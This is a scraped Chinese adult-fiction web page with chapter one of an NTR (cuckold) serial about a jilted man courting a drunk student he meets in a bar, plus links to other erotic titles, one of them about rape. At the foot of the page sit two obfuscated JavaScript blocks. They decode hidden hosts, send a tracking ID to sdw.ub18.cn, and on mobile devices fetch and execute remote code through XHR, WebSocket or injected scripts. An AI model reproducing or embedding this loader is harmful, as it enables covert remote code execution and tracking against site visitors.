图片载入中

女友的沦陷(1)

特大字】 【大字】 【中字】 【小字

女友的沦陷(1)

作者:何必呢

——————————————————————————————

开这篇新文,主要是受时旭大作《我的秘密女友》的影响,同时因为曾拜读《绿婚记》和《女友当伴娘》,都是经典,我深陷其中无以自拔,那种心痛又刺激的感觉一直纠缠着我,我很期待它们会有好的故事结局,不要让我感受那种心痛,但这不是我所能左右的,所以我忍着不去想它,静待结局。同时心中因为这种感觉的启发,构思了此文,当然水准有限,只是写写这样一种感觉,同时向这些大作致敬。

写了三天,才写了这么点字,第一次这么用心,第一次当小说来写,以前写的故事只当纯色文来写,只为欲望而写,而且从来不检查错字的,往往想到哪写到哪,也没有整体构思,落得如今陷入瓶颈的下场,不过《从清纯到淫荡》不会太监的,只是暂时搁笔。

我曾想,破坏一个美好的形象,就会是悲剧,那么我该不该狠狠的悲剧一下呢,这也不是我可以左右的,我写文很受情绪影响,到时候看心情了。丑媳妇总要见公婆的,写得怎么样自己也没底,反正写都写了那就发出来吧。

——————————————————————————————

四月的风象情人的双手,抚摩着人的思绪,能使人在疲惫的时候感受一种轻松和愉悦的温柔,可惜我已经感受不到这抚摩的温柔了,代替的是一种内心深深的痛楚。

我想我会永远记得这个日子,2009年4月10日,一个普通的日子,但也是一个不平凡的日子。在这一天,我失去了认识七年的女友,也认识了一位美丽的精灵。

女友,应该说是前女友,我不想再提她,她给我的是是深深的痛。就在今天,我从外地出差回来,了解到一个欺瞒我许久的事实,我甚至不想去知道这事实发生有多久,我感到疲惫,我感到伤痛,我想回避它,我躲着它,我只想把自己藏起来,藏在一个无人知道的角落,让自己慢慢的衰老,凋落。

于是在这一天,我从下午六点,一直坐到了夜里九点,在这个名字叫“凋零玫瑰”的酒吧。

我一直坐在这里,没有招唿任何朋友,我只想一个人安静的待着,我喝了很多酒,我想不起来究竟要了些什么酒,实际上我来酒吧的次数很少,而且从来不单独与女人前来,因为我觉得酒吧是暧昧的场所,它扭曲了酒的含义,使酒变得不再单纯。去他吗的单纯吧,我告诉自己,我来酒吧就是来喝酒的,但假使有不单纯的事情发生,那就来吧,我不再拒绝,傻比才拒绝。

最后那个招待似乎看不过去了,他说:“来杯果汁吧,你今天喝太多了。”

是吗,我没觉得,我就想喝多点,但是看那小伙子的口气也是为了我好,这使我心里有点宽慰,使我内心的冰凉得到了一丝温暖。这是个很阳光的小伙子,我想他会得到好报的,他的人生将会美满的。于是我喝了那杯果汁,向他道谢,然后我艰难的站起来去卫生间,他想帮忙扶我,我拒绝了,我觉得我没有醉,我只是头晕。

在卫生间门口,我遇到了她,这是个精灵。

她不是一个人,旁边有个穿着露脐装的女孩正侧身扶着她的手臂,在她背上轻拍着,嘴里说着:“到里面去,吐出来就好了,哎呀,叫你别喝这么多,对你有什么好处呢?都过去了,好好,我不说了。”

她弓着腰,背着我,看样子似乎很疲惫很难受,一手捂着嘴巴,想站直却似乎没有那个力量,只好把大半的压力转到旁边的女孩手上。看得出来她很想吐,可是都到卫生间门口了,却坚持不住。

我看到她穿着一件清凉的吊带露肩装,露出白皙圆润的肩膀,包裹着在她身上,衬托出玲珑浮凸的曲线,从背后看去,我知道她身材很好,那纤细的腰肢使人忍不住想扶一把,圆滚挺翘的臀部,浑圆丰盈的大腿根,虽然穿着牛仔裤,但包裹出修长的柳枝腿让人忍不住赞一声美。

不知道为什么,我感觉这是个美女,尽管旁边那露脐装的女孩也很耐看,但我此时对于这样的打扮有点微微的反感,也许是因为酒吧这个场合让我对她的评价不是太好,我希望这个弓着腰的女孩是个美女,否则这样的身材实在是暴殓天物。

那露脐装女孩看我站在那里发呆,忍不住开口:“看什么看,没见过美女啊?”

我脱口而出:“从小到大没见过这么美的。”连我都惊讶我的直接坦白。我今年二十八岁,在朋友们的眼中我是个沉默的人,不善于表达的人,有事也藏在心里,说话做事留一半力,这也许与我的工作有关,我是上海一家医药公司的研究员,除了出差与其他公司进行开发研究之外,我与人交往并不算太多,但也有几个铁哥们,他们对我很了解,所以也不因为我的无趣而冷淡我,我很安逸于自己的现状,我的上级对我也很看重,预备年内提升我为研究室的副主任,如果没有今天的事情,也许我会一直这样满足下去,但女友的事情让我开始对未来不那么积极,我感到未来一片灰暗。现在我竟然直接赞美一个陌生女孩,我知道我这话不是对露脐装女孩说的,这也许是我内心的希望,我希望她是美的。

露脐装女孩眉头轻皱了一下,但我看出来她很开心,也许她误会了,她的声音都变得使人舒心起来:“傻呆着干什么,还不来帮忙扶一下!”我觉得这声音充满挑逗,可惜不是那女孩说的。

我不再发呆,连忙上前帮忙扶着腰,手上传来一种软软温润的触感,尽管隔着衣服我还是觉得就如抚摩着她的肉体,这让头晕的我心神一荡,已经很久没有这样的感觉了,我感谢旁边的露脐装给予的机会,冲她一笑。

鼻子里闻到一种淡淡的香味,我打赌这不是香水,我曾经给前女友买过各种香水,我自己做医药研究也接触过各种材料,我了解这不是香水味,这应该是女孩自身的味道,在一股酒味中凸显出了它的特殊,它的诱惑力。

“帮忙扶进去,她要吐出来了。”露脐装继续指使我,对此我很乐意为她效劳。

这时那个女孩扭头看了我一眼,放开那双捂嘴的手,这双手芊芊如玉,温润修长,一切很完美。我心中直唿上帝,感谢上帝没有让梦望破碎,感谢上帝没有暴殓天物,我看到了一张脸,一张古典瓜子脸,就如漫画里描绘的那样,长长的睫毛下一双明亮的眸子,眸子里有水波荡漾,仿佛无时不刻想要倾诉着什么,孕育着掩饰不住的哀愁,她的眼睛挺大,使那双眸子在这昏暗的走道里闪着清澈的光,如一泓碧水,令人见了心生怜惜。这时她终于忍不住了,手放开淅沥哗啦的吐出来,看来她的确喝了不少酒,吐的尽是酒水却没点食物渣滓,不过有部分都吐到了我身上。

我打趣说道:“至于这样吗,看我一眼就想吐?”我突然发现我其实也挺会逗女孩的,她听到我的话立刻咯咯笑出来,我看到她的眼睛弯成月亮样,很迷人,但眼里似乎蕴涵泪水,我知道这并不因为我的打趣,那带些懮愁的眼睛里象是藏着太多的秘密让人想去探询。小巧而坚毅挺直的鼻梁,真的是“腮凝新荔,鼻腻鹅脂”,那嘴唇不描而红,微微翘起,象是诱惑人吻上去。她笑嘻嘻的说:“呵呵,你长得……嗯,不算太丑,但……”

“但是什么?”

“但……”她没说完,面对我又俯低身子吐起来,这可真是使我打趣的心思都没有了,一方面因为她又一次看到我吐了,这种事太打击人心了。我还真不算丑,至少追我的女孩子还真不少,但以前从来都很木讷,对那些追求置之不理,对女友爱护有加,我怕伤害她,没想到却结局是如今这样。另一方面因为这使我看到了一副让我热血的场景,尽管我头还是昏沈沈的,但我酒量不算差,喝了这么多我也只是身体不太受控制,眼前的风景让我血往上涌:吊带衫下硕大的波涛汹涌将衣服橕得很饱满,开口并不大,清晰的锁骨下一条深沟象勾引着人的欲望,那双奶子露出上半部分,白皙浑圆,曲线尽显,虽然有胸罩的包裹,却似乎微微颤抖着,我不禁吞了吞口水。我出差十几天回来后受到打击,但此刻我压抑很久的欲望腾的上来了,我无法控制这样一个美女在眼前的诱惑,不过我很能克制,我不想露出丑态,转移视线对旁边的露脐装说:“需要帮忙吗?你扶着她,我去拿杯醒酒的果汁来。”说完不待她们回话就出去了,我感觉到我的脚步都轻松坚定起来。

在吧台要杯加蜂蜜的果汁,连忙跑回去,我实在不想错过和她相遇的机会,尽管我们互不认识,尽管我们可能只是过客,哪怕只是看看她我都觉得来这个酒吧是正确的决定,去他吗的,以前的一切过去就过去吧,我现在想重新开始新的生活。

在卫生间门口,我听到里面冲水的声音,过了一会儿露脐装扶着她走出来,她脸上湿漉漉的,看样子刚洗了脸,额头的刘海有部分粘在脸上,几点水滴使她有种别样的美。

“还真拿了醒酒的啊?无事献殷情,非奸即盗啊,说,什么居心啊?”露脐装故意取笑我。

“看到美女,是个男人都会献点殷情的。”突然之间我觉得我变了,我开始油嘴滑舌,不再压抑自己,我要主动表现自己,这感觉是我以前没有的。

“哼,拿来吧!”说着露脐装就接过我手中的果汁,隐约还向我抛了个眉眼。我对你可没兴趣,我转头看她,她冲我微微一笑,我感觉世界突然亮了几分,那弯月的眼睛真美,我无法用语言来形容。“谢谢……别介意,她就是……这么个脾气。”她断断续续说完,声音如黄莺般美妙,柔柔的,使人陶醉,也许是第一印象的缘故,我就是觉得好听。

她犹豫了一下,接过露脐装手里的果汁喝了一口下去。

我看她谨慎小心的样子,好感又增,脱口而出:“美女,怎么称唿你们?”

露脐装也不矜持,直接回答我:“我姓刘,单名香,叫我香儿就行了……她嘛,叫凌可可……”“香,别说出来!”她连忙阻止,不过来不及了,快嘴的露脐装已经暴露了她的名字,她就象被偷窥了隐私一样感觉有些沮丧,生气,无奈,以及一点羞意,那表情实在可爱,皱了皱小鼻子,让我有捏一捏的冲动。就这样我知道这个精灵的名字,第一次觉得这个叫刘香的露脐装其实看着也挺顺眼。我决定表示一下我的感激,虽然只是顺带的。

“可以请你们吃饭吗?”我第一次对女孩展开如此直接明显的攻势,即使面对曾经的前女友也没有过,或许这也是她离开我的原因之一吧。

“不了,没胃口,头好晕,我们回去吧香儿?”这个叫凌可可的女孩看出了我的动机,又怕刘香满口答应,很委婉但也太过明显的拒绝了我的提议。我不禁感到一阵沮丧,但更激起我的斗志,我对她更感兴趣了,我想占有她,拥有她,保护她,爱她!

刘香有点犹豫,但还是说:“下次吧,今天我还有任务。”她看看我,一双狡黠的眼睛似乎想看透我的心理,良久很认真的一字字说道:“我…们可以…信任你吗?”看着她的眼睛,我很真诚的点点头:“可以。”接着又问:“有什么可以效劳的?尽管说,当然只要在我能力范围内。”

“香儿,我自己能回去!”凌可可再次出声表达她的意见,她靠在卫生间门口的墙上,软弱无力的样子让人顿生怜惜,我有些惭愧,为自己内心的那点懦弱,原来刘香只是让我送送凌可可,我却事先强调一句需要在我能力范围内,真是……唉。

“先告诉我你的名字,告诉我你的电话。”刘香直接忽视凌可可的意见,向我开口。我很爽快的告诉她我的电话,她掏出自己的手机试拨了一下,听到我兜里的铃声,很满意,看得出她很小心。我拍拍胸口保证:“放心,我吕文茂是个纯洁的人,脱离了低级趣味的人。从我的名字你可以看出来,咱是诗书传家,德被后泽的现代青年……”

“好了好了,别吹了,我告诉你,你若敢对可可有什么不轨行为,小心死无葬身之地!”刘香的威胁对我没有杀伤力,但凌可可听到我的自吹自擂露出那纯纯的笑意,我呆了小会忙反应过来:“送到哪?天上地下悉听尊便,赴汤蹈火在所不辞!”“我呸,你才地下呢,不说了,我得忙了,已经耽误了很久,任务还得做呢!可可就交给你了,记住,你老实点!”

“放心放心,地下我们就不去了,送到哪?”我点头满脸笑容,我发现我似乎年轻了几岁,又回到了那青春萌动的岁月,满嘴跑火车吸引女孩子的注意。

“送到医大门口就行了,我打电话让我的姐妹们接她进去。”

“哦,这地方我熟悉,没问题。”话不多说,我扶起凌可可,尽管她开始还嚷着自己走,但已经半醉的她拧不过我半强迫的好意。我右手绕过她的腰搀着她,那柔软的触感再次让我心神一荡,不小心手背又碰到一团软肉,我当然知道这是什么,我能感觉她身体微微抖了一下,她扭头看了我一眼,那眼里是什么意思?是羞涩?是迷惑?是警告?还是鼓励?我分不清,只知道这是双迷人的眼。我避开她的特殊部位,很正人君子的搀她走出闹哄哄的酒吧。

走出门去,耳边的喧嚣瞬间远离,迎面吹来一股带着晚春气息的寒意,使这人迹稀少的大街更显寂廖和清冷。我连忙把手上还没来得及穿上的夹克往她身上披,她嘴里嘟咙着不用不用,但最后还是被迫接受我半强迫的好意。“直接回去吗?”我问。

她的眼睛似有些迷茫,看着我向是征询我的意见。“那就回去吧!TAXI!”我冲道路另一边的的士喊。

“算了。”她摇摇头,搭在肩上的长发很不情愿的跟着摆动,象是抗拒主人的决定,“哪都不想去,不想回学校。”

“那就随便走走吧!要不找个地方坐会儿?我知道有一间咖啡馆的环境不错。”

“好吗?……好吧!”她象是问自己又象是问自己,最后自己给了答复。

“去‘这个调咖啡’!”扶她坐上车,我对的哥说。这个过程中我又一次看到了她低身时胸口的风景。

的哥显然不知道这咖啡馆的位置,我指点了一下,五分钟后我们就到了。

没错,这是间比较小的咖啡室,我一个哥们开的,里面的设计装饰我曾给过很多意见,连名字都是我起的。进去之后哥们就看到了,他眼睛一亮,我看到他眼里狼一样的闪光,忙出口:“我朋友,找个清静点的位置。”

“都这个点了,哪里都清静。”末了他又意味深长的冲我眨眨眼:“你小子行啊,看不出来你深藏不露!”“别瞎说,一边忙你的去!”我这朋友叫陈建军,人其实不错,只是有点嘴花花,勾引的女孩子不少,但不多久就觉得腻,然后就换掉,他说他的境界就是“乱花丛中过,片叶不粘身”,并一再唆使教导我向他学习,说以我这条件不多玩玩等将来年老色衰会后悔的。结果如他所言,一语成谶。

我找了个最喜欢的位置,以前和杨语星没少来这里,如今旧人已去又换新人,不过我却是受害者。杨语星便是我的前女友,以往常常是她拉我来,她说爱情要浪漫,并总念叨我太死板,生活没有情调。我无从反驳,因为我觉得自己确实是这样的人,只是看不惯她每次结帐时贪点小便宜,以朋友的借口,陈建军则笑嘻嘻的说没事没事应该的。算了,不提她了,都过去了,眼前的美女更重要。

“可可,我可以这样叫你吗?喝点什么?”“你叫都叫了,还问……随便吧,来杯白开水就行。”她的酒已经醒了不少,但还是有些迷煳,眼帘微垂,长长的睫毛特别吸引人。

“来杯奶茶,要原味的,再来杯咖啡,什么样的都行,不加糖。”我对Waiter说。

“为什么给我要奶茶?为什么又要原味的?我要喝我的白开水。”她撅嘴的样子真好看,唉,我真的有些担心自己会爱上她了。

“来咖啡屋里怎么能喝白开水,一般来说美女都喝奶茶。至于为什么要原味的呢,因为我觉得你是原味的,所以你有资格喝它,一般人喝不出那个味道。”我明里暗里的赞她,这种追求的味道让我觉得很好,我甚至有种宣泄的快感,大概是压抑太久了。

“咯咯……鬼扯,你好油嘴滑舌,用这话骗过多少女生?”她笑得花枝乱颤但略不轻浮,我的目光不敢在她身上多停留,那吊带下隆起裸露的部分太晃眼睛,我怕露出内心的狐狸尾巴,连忙转移视线,一时间口不择言:“哪有,这话以前就对一个人说过。”

“谁啊?女朋友还是老婆?”她抓住机会逼问,那眼里可爱的挑衅让我败下阵来,老实交待。

“前女友,但几个小时前一切结束了,灰飞烟灭,烟消云散,如果你不介意的话我想来支烟……”

“你怎么这么没有礼数,不够绅士,你看这里……”她扭头看看,“哦,只剩下我们俩了,那你随便吧!被赶出去可别说认识我。”“你这么说就表示我们已经认识了,很高兴认识你,凌可可同学!”我向她伸出手,她笑着拍开我的手,那感觉滑腻腻的。我掏出一支烟,点上,吸了一口,吐出去,感觉人都放松下来。“放心,这咖啡屋是我朋友开的,你里的设计大多是我的点子,你看到的这个镂空杯套了吗,还有这咖啡屋的名字,我想出来的,怎么样,是不是开始膜拜我?说出来吧,别憋在心里难受。”

“怪不得……”她恍然,带着揶揄,接着笑起来,“怪不得这屋里没什么客人,原来如此!”

“拜托,这都什么时候了,快十一点了!”

“反正就是俗气,俗不可耐,俗气,俗气,俗气。”

“好吧,别说出来啊,给我留点自尊。”她象小孩子一样得胜似的笑起来,露出一口小白牙。“可可,你真美,笑起来更美!真的。”我用不容怀疑的语气说。

她听了又笑起来,月牙似的眼睛眯起,长长的睫毛一颤一颤的,女人无论多大年纪总是喜欢被哄被赞美的,我此刻深有体会。这笑容没坚持太久脸色又变得黯然,叹息一声。“可可,有什么伤心事就说出来,说出来会好点,本是天涯沦落人,相逢何必曾相识,咱们如果不因为伤心就不会去酒吧买醉,就不会相遇,这是老天给我们认识的机会,是上帝派我来当你的听众的。”

接下来从她的叙述中知道,她现在大三,有个同校的男朋友,交往有一年了,但今天在超市看到他与另一个女生手牵着手很亲昵的说笑打趣,她冲上去质问,还被那女生羞辱,说她已经是过去时了,让她别胡绞蛮缠丢人现眼。那男朋友竟一个劲保证说绝对是过去时,她问为什么,他说因为在她身上得不到什么,她只是一直装纯情玉女,实在没什么乐趣可言,然后她就找在酒吧兼职售酒的刘香买醉,后面的事就不用说了。

我听了也感到唏嘘,大学里的爱并不都是纯情美好的,充斥各种目的和欲望,多少人在毕业那天说分手。我简单说了下我的故事,她听得很专注用心,用手托着下巴,胸前挤出一道更深的沟,我真怕自己的眼神被她发现,只好一口口啜着那杯最不喜欢的啤酒冰咖啡。

“原来是这样,那她不值得你付出,你挺优秀的,长得嘛勉强算英俊,谈吐嘛勉强也算幽默,气质嘛,暂时还没发现,居然在咖啡室里抽烟,哼!没有风度。”

“是吗,这评价已经够高了,我诚惶诚恐啊,比看我一眼就想吐要强太多了。”她又咯咯笑起来,这是遇到她之后她笑得最开心的一次。

“喂,给我来支烟吧,我试试什么感觉。”

“还是不要吧,抽烟对女孩子的皮肤不好。”

“那你还在我面前抽?给不给?说句话。”

我只好给她一支,实在不想刚认识就违逆她,而且我很想看看象这么纯的美女抽烟是什么样子。

“少吸点,否则会呛。”给她点上,我话没说完她就呛起来了。“咳咳,什么味啊,你们这些男人怎么就喜欢抽这种东西?”

“男人味,女人不适合抽的,别抽了,给我吧。”我夺过来,她也没再坚持,我吸了一口说道“恩,有股女人味了。”她一听,脸瞬间红了,眼神有些躲闪,微低了下头,那样子……我无法用言语表达那种美,如那句“那一低头的温柔,象一朵水莲花不胜凉风的娇羞”。

接下来我们沉默了一会儿,气氛有点尴尬,我不禁为自己的唐突感到懊悔,要是留下轻浮的印象就完了。我说走吧,回去了,要不就到明天了。

出了门,正准备打车送她回去,她犹犹豫豫开口:“我今天不想回去……时间太晚了,学校该已经关门了。”“那好吧,给你找个地方住一晚。”

——————————————————————————————————

后记:这是第一章,近7000字,还没有开始到激情部分,事先提醒一句,这是NTR文,也即绿帽文。


上一篇:斗破苍穹成人系列—惨遭强奸的熏儿

下一篇:禽兽父亲


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};